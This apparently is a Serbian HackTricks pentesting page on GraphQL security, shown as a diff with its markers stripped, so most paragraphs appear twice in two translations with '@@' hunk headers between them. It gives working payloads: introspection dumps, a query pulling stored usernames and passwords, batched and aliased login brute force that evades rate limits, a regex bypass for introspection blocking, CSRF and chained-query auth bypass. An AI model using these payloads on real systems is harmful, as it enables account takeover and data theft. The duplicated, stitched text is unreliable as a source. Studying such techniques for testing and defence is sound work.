* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Uvod
GraphQL je **istican** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upitivanje podataka sa backend-a. Za razliku od REST-a, koji često zahteva brojne zahteve na različitim endpoint-ima kako bi se prikupili podaci, GraphQL omogućava dobijanje svih potrebnih informacija putem **jednog zahteva**. Ovo pojednostavljenje značajno **pomaže developerima** smanjujući složenost njihovih procesa prikupljanja podataka.
GraphQL je **istican** kao **efikasna alternativa** REST API-ju, nudeći pojednostavljen pristup za upitivanje podataka sa backend-a. Za razliku od REST-a, koji često zahteva brojne zahteve preko različitih endpoint-a za prikupljanje podataka, GraphQL omogućava dobijanje svih potrebnih informacija putem **jednog zahteva**. Ovo pojednostavljenje značajno **koristi developerima** smanjujući složenost njihovih procesa dobijanja podataka.
## GraphQL i bezbednost
## GraphQL i Bezbednost
Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Važno je napomenuti da **GraphQL ne uključuje mehanizme za autentifikaciju po default-u**. Odgovornost je developera da implementiraju takve bezbednosne mere. Bez odgovarajuće autentifikacije, GraphQL endpoint-i mogu otkriti osetljive informacije neautentifikovanim korisnicima, predstavljajući značajan bezbednosni rizik.
Sa pojavom novih tehnologija, uključujući GraphQL, pojavljuju se i nove bezbednosne ranjivosti. Ključna stvar koju treba imati na umu je da **GraphQL ne uključuje mehanizme autentifikacije po default-u**. Odgovornost je programera da implementiraju takve bezbednosne mere. Bez odgovarajuće autentifikacije, GraphQL endpoint-i mogu otkriti osetljive informacije neautentifikovanim korisnicima, predstavljajući značajan bezbednosni rizik.
### Napadi brute force na direktorijume i GraphQL
### Napadi Brute Force na Direktorijume i GraphQL
Da bi se identifikovali izloženi GraphQL instanci, preporučuje se uključivanje određenih putanja u napade brute force na direktorijume. Ove putanje su:
Za identifikaciju izloženih GraphQL instanci, preporučuje se uključivanje određenih putanja u napade brute force na direktorijume. Ove putanje su:
- `/graphql`
- `/graphiql`
- `/graphql.php`
- `/graphql/console`
- `/api`
- `/api/graphql`
- `/graphql/api`
- `/graphql/graphql`
* `/graphql`
* `/graphiql`
* `/graphql.php`
* `/graphql/console`
* `/api`
* `/api/graphql`
* `/graphql/api`
* `/graphql/graphql`
Identifikacija otvorenih GraphQL instanci omogućava pregled podržanih upita. Ovo je ključno za razumevanje podataka koji su dostupni putem endpoint-a. GraphQL-ov sistem introspekcije olakšava ovo detaljisanjem upita koje šema podržava. Za više informacija o tome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
Identifikacija otvorenih GraphQL instanci omogućava pregled podržanih upita. To je ključno za razumevanje podataka dostupnih putem endpoint-a. GraphQL-ov sistem introspekcije olakšava ovo detaljisanjem upita koje šema podržava. Za više informacija o ovome, pogledajte GraphQL dokumentaciju o introspekciji: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### Fingerprint
Alat [**graphw00f**](https://github.com/dolevf/graphw00f) je sposoban da otkrije koji GraphQL engine se koristi na serveru, a zatim ispisuje neke korisne informacije za bezbednosnog auditora.
Alat [**graphw00f**](https://github.com/dolevf/graphw00f) je sposoban da otkrije koji GraphQL engine se koristi na serveru i zatim prikaže neke korisne informacije za bezbednosnog revizora.
#### Univerzalni upiti <a href="#universal-queries" id="universal-queries"></a>
Da biste proverili da li je URL GraphQL servis, može se poslati **univerzalni upit**, `query{__typename}`. Ako odgovor sadrži `{"data": {"__typename": "Query"}}`, potvrđuje da URL hostuje GraphQL endpoint. Ova metoda se oslanja na GraphQL-ovu `__typename` polje, koje otkriva tip objekta koji je upitan.
Da biste proverili da li je URL GraphQL servis, može se poslati **univerzalni upit**, `query{__typename}`. Ako odgovor sadrži `{"data": {"__typename": "Query"}}`, potvrđuje da URL hostuje GraphQL endpoint. Ovaj metod se oslanja na GraphQL-ovo polje `__typename`, koje otkriva tip upitanog objekta.
```javascript
query{__typename}
```
### Osnovno prebrojavanje
### Osnovna enumeracija
Graphql obično podržava **GET**, **POST** (x-www-form-urlencoded) i **POST**(json). Iako je iz sigurnosnih razloga preporučljivo dozvoliti samo json kako bi se sprečili CSRF napadi.
GraphQL obično podržava **GET**, **POST** (x-www-form-urlencoded) i **POST**(json). Iako je radi bezbednosti preporučljivo dozvoliti samo json kako bi se sprečili CSRF napadi.
#### Introspekcija
@ -57,7 +57,7 @@ Da biste koristili introspekciju za otkrivanje informacija o šemi, upitajte pol
```bash
query={__schema{types{name,fields{name}}}}
```
Sa ovim upitom ćete pronaći ime svih tipova koji se koriste:
Sa ovim upitom pronaći ćete ime svih tipova koji se koriste:
![](<../../.gitbook/assets/image (202).png>)
@ -67,24 +67,22 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
```
{% endcode %}
Sa ovim upitom možete izvući sve tipove, polja i argumente (i tip argumenata). Ovo će biti veoma korisno da biste znali kako da upitate bazu podataka.
Sa ovim upitom možete izvući sve tipove, njihova polja i argumente (i tip argumenata). Ovo će biti vrlo korisno da biste znali kako upitati bazu podataka.
![](<../../.gitbook/assets/image (207) (3).png>)
**Greške**
Interesantno je znati da li će **greške** biti **prikazane**, jer će pružiti korisne **informacije**.
Interesantno je znati da li će **greške** biti **prikazane** jer će doprineti korisnim **informacijama**.
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
![](<../../.gitbook/assets/image (205) (1).png>)
**Enumeriraj šemu baze podataka putem introspekcije**
**Enumeracija šeme baze podataka putem introspekcije**
{% hint style="info" %}
Ako je omogućena introspekcija, ali gornji upit ne radi, pokušajte ukloniti direktive `onOperation`, `onFragment` i `onField` iz strukture upita.
Ako je omogućena introspekcija, ali prethodni upit ne funkcioniše, pokušajte ukloniti direktive `onOperation`, `onFragment` i `onField` iz strukture upita.
{% endhint %}
```bash
#Full introspection query
@ -179,21 +177,21 @@ Inline inspekcijski upit:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
Poslednja linija koda je GraphQL upit koji će izlistati sve meta-informacije iz GraphQL-a (imena objekata, parametri, tipovi...)
Poslednja linija koda je graphql upit koji će izbaciti sve metainformacije iz graphql-a (imena objekata, parametri, tipovi...)
![](<../../.gitbook/assets/image (206).png>)
Ako je omogućena introspekcija, možete koristiti [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) da biste u GUI-ju videli sve opcije.
Ako je omogućena introspekcija, možete koristiti [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) da biste videli u GUI-u sve opcije.
### Upiti
### Upitovanje
Sada kada znamo kakve informacije su sačuvane u bazi podataka, pokušajmo **izvući neke vrednosti**.
U introspekciji možete pronaći **koji objekat možete direktno upitati** (jer ne možete upitati objekat samo zato što postoji). Na sledećoj slici možete videti da se "_queryType_" zove "_Query_" i da je jedno od polja objekta "_Query_" "_flags_", koji je takođe tip objekta. Stoga možete upitati objekat flag.
U introspekciji možete pronaći **koji objekat možete direktno upitati** (jer ne možete upitati objekat samo zato što postoji). Na sledećoj slici možete videti da se "_queryType_" zove "_Query_" i da je jedno od polja objekta "_Query_" "_flags_", koji je takođe tip objekta. Stoga možete upitati objekat zastave.
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-17-48.png)
Primetite da je tip upita "_flags_" "_Flags_", a ovaj objekat je definisan kao što je prikazano ispod:
Imajte na umu da je tip upita "_flags_" "_Flags_", a ovaj objekat je definisan na sledeći način:
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-22-57.png)
@ -201,16 +199,16 @@ Možete videti da su objekti "_Flags_" sastavljeni od **imena** i **vrednosti**.
```javascript
query={flags{name, value}}
```
Imajte na umu da u slučaju da je **objekat za upit** **primitivni tip** kao što je **string** kao u sledećem primeru
Imajte na umu da u slučaju da je **objekat za upit** **primitivan** **tip** poput **stringa** kao u sledećem primeru
![](<../../.gitbook/assets/image (441).png>)
![](<../../.gitbook/assets/image (441).png>)
Možete ga jednostavno upitati sa:
```javascript
query={hiddenFlags}
```
U drugom primeru gde su postojala 2 objekta unutar "_Query_" tipa objekta: "_user_" i "_users_".\
Ako ovi objekti ne zahtevaju nikakav argument za pretragu, možete **dobiti sve informacije iz njih** tako što ćete samo **tražiti** podatke koje želite. U ovom primeru sa interneta možete izvući sačuvane korisničke imene i lozinke:
U još jednom primeru gde su postojala 2 objekta unutar "_Query_" tipa objekta: "_user_" i "_users_".\
Ako ovi objekti ne zahtevaju nikakav argument za pretragu, mogli biste **dobiti sve informacije iz njih** samo **tražeći** podatke koje želite. U ovom primeru sa interneta mogli biste izvući sačuvane korisničke imena i lozinke:
![](<../../.gitbook/assets/image (208).png>)
@ -218,31 +216,31 @@ Međutim, u ovom primeru, ako pokušate to da uradite, dobićete ovu **grešku**
![](<../../.gitbook/assets/image (210).png>)
Izgleda da će pretraga biti izvršena koristeći "_**uid**_" argument tipa _**Int**_.\
U svakom slučaju, već smo znali da je u odeljku [Osnovna enumeracija](graphql.md#basic-enumeration) predložen upit koji nam je prikazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Izgleda da će pretraga koristiti "_**uid**_" argument tipa _**Int**_.\
U svakom slučaju, već smo znali da je u odeljku [Osnovna enumeracija](graphql.md#basic-enumeration) predložen upit koji nam je pokazivao sve potrebne informacije: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Ako pročitate priloženu sliku kada pokrenem taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_.
Ako pročitate priloženu sliku kada pokrenete taj upit, videćete da je "_**user**_" imao **arg** "_**uid**_" tipa _Int_.
Dakle, izvršavajući neki lagani _**uid**_ bruteforce, otkrio sam da se u _**uid**=**1**_ dobijaju korisničko ime i lozinka:\
Dakle, vršeći neki lagani _**uid**_ brute force, otkrio sam da je sa _**uid**=**1**_ dobijeno korisničko ime i lozinka:\
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (211).png>)
Primetite da sam **otkrio** da mogu da tražim **parametre** "_**user**_" i "_**password**_" jer ako pokušam da pronađem nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku:
Imajte na umu da sam **otkrio** da mogu tražiti **parametre** "_**user**_" i "_**password**_" jer ako pokušam da pronađem nešto što ne postoji (`query={user(uid:1){noExists}}`) dobijam ovu grešku:
![](<../../.gitbook/assets/image (213).png>)
I tokom faze **enumeracije** otkrio sam da objekat "_**dbuser**_" ima polja "_**user**_" i "_**password**_.
I tokom faze **enumeracije** otkrio sam da je objekat "_**dbuser**_" imao polja "_**user**_" i "_**password**_.
**Triks sa ispisom upita u string formatu (hvala @BinaryShadow\_)**
**Triks sa ispuštanjem upita u obliku niske (hvala @BinaryShadow\_)**
Ako možete pretraživati po polju tipa string, kao što je: `query={theusers(description: ""){username,password}}` i **tražite prazan string**, to će **ispisati sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete pretraživati koristeći "**theusers**" preko polja tipa String koje se zove "**description**"_).
Ako možete pretraživati po tipu niske, kao: `query={theusers(description: ""){username,password}}` i **tražite praznu nisku**, ispuštaće **sve podatke**. (_Napomena: ovaj primer nije povezan sa primerom iz tutorijala, za ovaj primer pretpostavite da možete pretraživati koristeći "**theusers**" po polju tipa String nazvanom "**description**"_).
### Pretraga
U ovom okruženju, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju preko svoje **e-pošte** i **imena**; **filmovi** preko svog **imena** i **ocene**. **Osobe** mogu biti prijatelji jedni sa drugima i takođe imaju filmove, što ukazuje na odnose unutar baze podataka.
U ovom okruženju, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane svojim **emailom** i **imenom**; **filmovi** po njihovom **imenom** i **ocenom**. **Osobe** mogu biti prijatelji jedni sa drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
Možete **pretraživati** osobe **po** imenu i dobiti njihove e-pošte:
Možete **pretraživati** osobe **po** imenu i dobiti njihove emaile:
```javascript
{
searchPerson(name: "John Doe") {
@ -250,7 +248,7 @@ email
}
}
```
Možete **pretraživati** osobe **po** imenu i dobiti informacije o njihovim **pretplaćenim** **filmovima**:
Možete **pretraživati** osobe **po** imenu i dobiti njihove **pretplaćene** **filmove**:
```javascript
{
searchPerson(name: "John Doe") {
@ -267,7 +265,7 @@ name
```
Obratite pažnju kako je naznačeno da se dobije `name` od `subscribedMovies` osobe.
Takođe možete **pretraživati više objekata istovremeno**. U ovom slučaju, vrši se pretraga 2 filma:
Takođe možete **pretraživati više objekata istovremeno**. U ovom slučaju, pretražuju se 2 filma:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@ -275,7 +273,7 @@ name
}
}r
```
Ili čak **odnosi nekoliko različitih objekata koristeći alias-e**:
Ili čak **odnosi nekoliko različitih objekata korišćenjem aliasa**:
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
@ -306,9 +304,9 @@ U **introspekciji** možete pronaći **deklarisane** **mutacije**. Na sledećoj
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
U ovom okruženju, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** se identifikuju preko svog **emaila** i **imena**; **filmovi** preko svog **imena** i **ocene**. **Osobe** mogu biti prijatelji jedni sa drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
U ovom postavci, **baza podataka** sadrži **osobe** i **filmove**. **Osobe** su identifikovane njihovim **emailom** i **imenom**; **filmovi** po njihovom **imenom** i **ocenom**. **Osobe** mogu biti prijatelji jedni sa drugima i takođe imati filmove, što ukazuje na odnose unutar baze podataka.
Mutacija za **kreiranje novih** filmova u bazi podataka može izgledati ovako (u ovom primeru mutacija se naziva `addMovie`):
Mutacija za **kreiranje novih** filmova unutar baze podataka može izgledati ovako (u ovom primeru mutacija se zove `addMovie`):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -319,9 +317,9 @@ rating
}
}
```
**Primetite kako su i vrednosti i tipovi podataka naznačeni u upitu.**
**Obratite pažnju kako su i vrednosti i tipovi podataka naznačeni u upitu.**
Dodatno, baza podržava **mutaciju** operacije, nazvanu `addPerson`, koja omogućava kreiranje **osoba** zajedno sa njihovim povezivanjem sa postojećim **prijateljima** i **filmovima**. Važno je napomenuti da prijatelji i filmovi moraju već postojati u bazi podataka pre nego što se povežu sa novokreiranom osobom.
Dodatno, baza podataka podržava operaciju **mutacije**, nazvanu `addPerson`, koja omogućava kreiranje **osoba** zajedno sa njihovim povezivanjem sa postojećim **prijateljima** i **filmovima**. Važno je napomenuti da prijatelji i filmovi moraju već postojati u bazi podataka pre nego što budu povezani sa novostvorenom osobom.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -349,32 +347,36 @@ releaseYear
}
}
```
### Grupisanje brute-force napada u jednom API zahtevu
### Preopterećenje direktive
Kao što je objašnjeno u [**jednoj od ranjivosti opisanih u ovom izveštaju**](https://www.landh.tech/blog/20240304-google-hack-50000/), preopterećenje direktive podrazumeva poziv direktive čak i milione puta kako bi server potrošio operacije dok nije moguće izvršiti DoS napad.
### Grubo silovanje u 1 API zahtevu
Ove informacije su preuzete sa [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Autentifikacija putem GraphQL API-ja sa **istovremenim slanjem mnogo upita sa različitim akreditacijama** radi provere. To je klasičan brute force napad, ali sada je moguće poslati više od jednog para korisničkog imena/lozinke u jednom HTTP zahtevu zbog mogućnosti grupisanja u GraphQL-u. Ovaj pristup bi prevario aplikacije za spoljno praćenje stope i učinio da izgleda kao da je sve u redu i da nema botova koji pokušavaju da pogode lozinke.
Autentifikacija putem GraphQL API-a sa **istovremenim slanjem mnogo upita sa različitim akreditacijama** kako bi se proverilo. To je klasičan napad grubom silom, ali sada je moguće poslati više od jednog para korisničko ime/lozinka po HTTP zahtevu zbog mogućnosti grupisanja u GraphQL-u. Ovaj pristup bi prevario spoljne aplikacije za praćenje stope da misle da je sve u redu i da nema bota koji pokušava da pogodi lozinke.
U nastavku možete videti najjednostavniji prikaz zahteva za autentifikaciju aplikacije, sa **3 različita para email/lozinka odjednom**. Očigledno je moguće poslati hiljade u jednom zahtevu na isti način:
Ispod možete pronaći najjednostavniju demonstraciju zahteva za autentifikaciju aplikacije, sa **3 različita para email/lozinka istovremeno**. Očigledno je moguće poslati hiljade u jednom zahtevu na isti način:
![](<../../.gitbook/assets/image (182) (1).png>)
Kao što možemo videti sa slike odgovora, prvi i treći zahtev vratili su _null_ i prikazali odgovarajuće informacije u odeljku _error_. **Druga mutacija je imala ispravne autentifikacione** podatke i odgovor je imao ispravan token za autentifikaciju sesije.
Kao što možemo videti sa snimka odgovora, prvi i treći zahtevi vratili su _null_ i odražavali odgovarajuće informacije u odeljku _error_. **Druga mutacija je imala tačne autentifikacione** podatke i odgovor je imao tačan autentifikacioni sesijski token.
![](<../../.gitbook/assets/image (119) (1).png>)
## GraphQL bez introspekcije
## GraphQL Bez introspekcije
Sve više **graphql endpointa onemogućava introspekciju**. Međutim, greške koje graphql baca kada primi neočekivan zahtev su dovoljne za alate poput [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) da rekonstruišu veći deo šeme.
Osim toga, Burp Suite ekstenzija [**GraphQuail**](https://github.com/forcesunseen/graphquail) **prati GraphQL API zahteve koji prolaze kroz Burp** i **gradi** internu GraphQL **šemu** sa svakim novim upitom koji vidi. Takođe može prikazati šemu za GraphiQL i Voyager. Ekstenzija vraća lažni odgovor kada primi introspekcioni upit. Kao rezultat, GraphQuail prikazuje sve upite, argumente i polja koja su dostupna za upotrebu u okviru API-ja. Za više informacija [**proverite ovo**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Osim toga, Burp Suite ekstenzija [**GraphQuail**](https://github.com/forcesunseen/graphquail) **prati GraphQL API zahteve koji prolaze kroz Burp** i **gradi** internu GraphQL **šemu** sa svakim novim upitom koji vidi. Takođe može izložiti šemu za GraphiQL i Voyager. Ekstenzija vraća lažni odgovor kada primi introspekcijski upit. Kao rezultat, GraphQuail prikazuje sve upite, argumente i polja dostupna za korišćenje unutar API-ja. Za više informacija [**proverite ovo**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Lepa **wordlist** za otkrivanje [**GraphQL entiteta može se pronaći ovde**](https://github.com/Escape-Technologies/graphql-wordlist?).
Lep **wordlist** za otkrivanje [**GraphQL entiteta može se pronaći ovde**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Zaobilaženje odbrana GraphQL introspekcije <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
### Zaobilaženje odbrana introspekcije GraphQL-a <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
### **Zaobilaženje odbrana GraphQL introspekcije**
### **Zaobilaženje Odbrana Introspekcije GraphQL-a**
Da bi se zaobišle restrikcije na introspekcijske upite u API-ima, efikasno je ubaciti **specijalni karakter nakon ključne reči `__schema`**. Ova metoda iskorišćava uobičajene propuste programera u regex obrascima koji imaju za cilj blokiranje introspekcije fokusiranjem na ključnu reč `__schema`. Dodavanjem karaktera poput **razmaka, novih linija i zareza**, koje GraphQL ignoriše, ali možda nisu uzeti u obzir u regex-u, restrikcije mogu biti zaobiđene. Na primer, introspekcijski upit sa novom linijom nakon `__schema` može zaobići takve odbrane:
Da bi se zaobišle restrikcije na introspekcijske upite u API-ima, ubacivanje **specijalnog karaktera posle ključne reči `__schema`** pokazuje se efikasnim. Ovaj metod iskorišćava uobičajene propuste programera u regex obrascima koji ciljaju blokiranje introspekcije fokusiranjem na ključnu reč `__schema`. Dodavanjem karaktera poput **razmaka, novih linija i zareza**, koje GraphQL ignoriše ali možda nisu uzete u obzir u regex-u, restrikcije mogu biti zaobiđene. Na primer, introspekcijski upit sa novom linijom posle `__schema` može zaobići takve odbrane:
```bash
# Example with newline to bypass
{
@ -382,11 +384,11 @@ Da bi se zaobišle restrikcije na introspekcijske upite u API-ima, efikasno je u
{queryType{name}}}"
}
```
Ako ne uspete, razmotrite alternativne metode zahteva, kao što su **GET zahtevi** ili **POST sa `x-www-form-urlencoded`**, jer se ograničenja mogu odnositi samo na POST zahteve.
Ako ne uspete, razmotrite alternativne metode zahteva, poput **GET zahteva** ili **POST sa `x-www-form-urlencoded`**, jer se ograničenja mogu odnositi samo na POST zahteve.
### **Otkrivanje izloženih GraphQL struktura**
Kada je introspekcija onemogućena, pregledanje izvornog koda veb sajta radi pronalaženja unapred učitanih upita u JavaScript bibliotekama je korisna strategija. Ovi upiti se mogu pronaći koristeći karticu `Sources` u alatima za razvoj, pružajući uvid u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su:
Kada je introspekcija onemogućena, ispitivanje izvornog koda veb sajta radi unapred učitanih upita u JavaScript bibliotekama je korisna strategija. Ovi upiti mogu se pronaći koristeći karticu `Sources` u alatima za razvoj, pružajući uvide u šemu API-ja i otkrivajući potencijalno **izložene osetljive upite**. Komande za pretragu unutar alata za razvoj su:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@ -400,7 +402,7 @@ Ako ne znate šta je CSRF, pročitajte sledeću stranicu:
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
Tamo ćete moći da pronađete nekoliko GraphQL endpointa **konfigurisanih bez CSRF tokena**.
Možete pronaći nekoliko GraphQL endpointa **konfigurisanih bez CSRF tokena.**
Imajte na umu da se GraphQL zahtevi obično šalju putem POST zahteva koristeći Content-Type **`application/json`**.
```javascript
@ -410,13 +412,13 @@ Međutim, većina GraphQL krajnjih tačaka takođe podržava **`form-urlencoded`
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Stoga, pošto se CSRF zahtevi poput prethodnih šalju **bez prethodnih zahteva**, moguće je **izvršiti** **promene** u GraphQL-u zloupotrebom CSRF-a.
Dakle, budući da se CSRF zahtevi poput prethodnih šalju **bez prethodnih zahteva**, moguće je **izvršiti** **promene** u GraphQL-u zloupotrebom CSRF-a.
Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesite` zastavicu u Chrome-u `Lax`. To znači da će kolačić biti poslat samo sa veb stranice treće strane u GET zahtevima.
Imajte na umu da je obično moguće poslati **upit** **zahtev** i kao **GET** **zahtev, a CSRF token možda neće biti validiran u GET zahtevu.**
Imajte na umu da je obično moguće poslati **upit** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.**
Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search.md) **napada** može biti moguće izvući sadržaj sa GraphQL endpointa zloupotrebom korisničkih akreditacija.
Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search.md) **napada** moguće je eksfiltrirati sadržaj sa GraphQL endpointa zloupotrebom korisničkih podataka.
Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
@ -424,9 +426,9 @@ Za više informacija **proverite** [**originalni post ovde**](https://blog.doyen
Mnoge GraphQL funkcije definisane na endpointu mogu proveravati samo autentifikaciju zahtevaoca, ali ne i autorizaciju.
Izmena ulaznih promenljivih upita može dovesti do **procurivanja** osetljivih detalja o nalogu [leaked](https://hackerone.com/reports/792927).
Izmena ulaznih promenljivih upita može dovesti do **procurivanja** osetljivih detalja naloga [leaked](https://hackerone.com/reports/792927).
Mutacija može čak dovesti do preuzimanja naloga pokušavajući da izmeni podatke drugih naloga.
Mutacija čak može dovesti do preuzimanja naloga pokušavajući da se izmene podaci drugog naloga.
```javascript
{
"operationName":"updateProfile",
@ -434,23 +436,23 @@ Mutacija može čak dovesti do preuzimanja naloga pokušavajući da izmeni podat
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### Zaobilaženje autorizacije u GraphQL-u
### Bypass autorizacije u GraphQL-u
[Povezivanje upita](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) može zaobići slab sistem autentifikacije.
[Povezivanje upita](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) može zaobići slab sistem autentikacije.
U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebalo da izvrši samo pripadajući upit forgotPassword. Ovo se može zaobići dodavanjem upita na kraju, u ovom slučaju dodajemo "register" i promenljivu korisnika kako bi sistem registrovao novog korisnika.
U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebalo da izvrši samo upit forgotPassword koji je s njim povezan. Ovo se može zaobići dodavanjem upita na kraju, u ovom slučaju dodajemo "register" i korisničku promenljivu da bi sistem registrovao novog korisnika.
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Zaobilaženje ograničenja brzine korišćenjem aliasa u GraphQL-u
U GraphQL-u, aliasi su moćna funkcionalnost koja omogućava **eksplicitno imenovanje svojstava** prilikom slanja API zahteva. Ova mogućnost je posebno korisna za dobijanje **više instanci istog tipa** objekta u jednom zahtevu. Aliasi se mogu koristiti kako bi se prevazišla ograničenja koja sprečavaju GraphQL objekte da imaju više svojstava sa istim imenom.
U GraphQL-u, aliasi su moćna funkcija koja omogućava **eksplicitno imenovanje svojstava** prilikom slanja zahteva API-ju. Ova mogućnost je posebno korisna za dobijanje **više instanci istog tipa** objekta u jednom zahtevu. Aliasima se može prevazići ograničenje koje sprečava GraphQL objekte da imaju više svojstava sa istim imenom.
Za detaljnije razumevanje aliasa u GraphQL-u, preporučuje se sledeći resurs: [Aliasi](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Alias](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Iako je primarni cilj aliasa smanjenje potrebe za brojnim API pozivima, identifikovan je i neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvršavanje napada brute force na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče napade brute force ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija u svakom zahtevu. S obzirom da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, oni mogu zaobići takva ograničenja brzine.
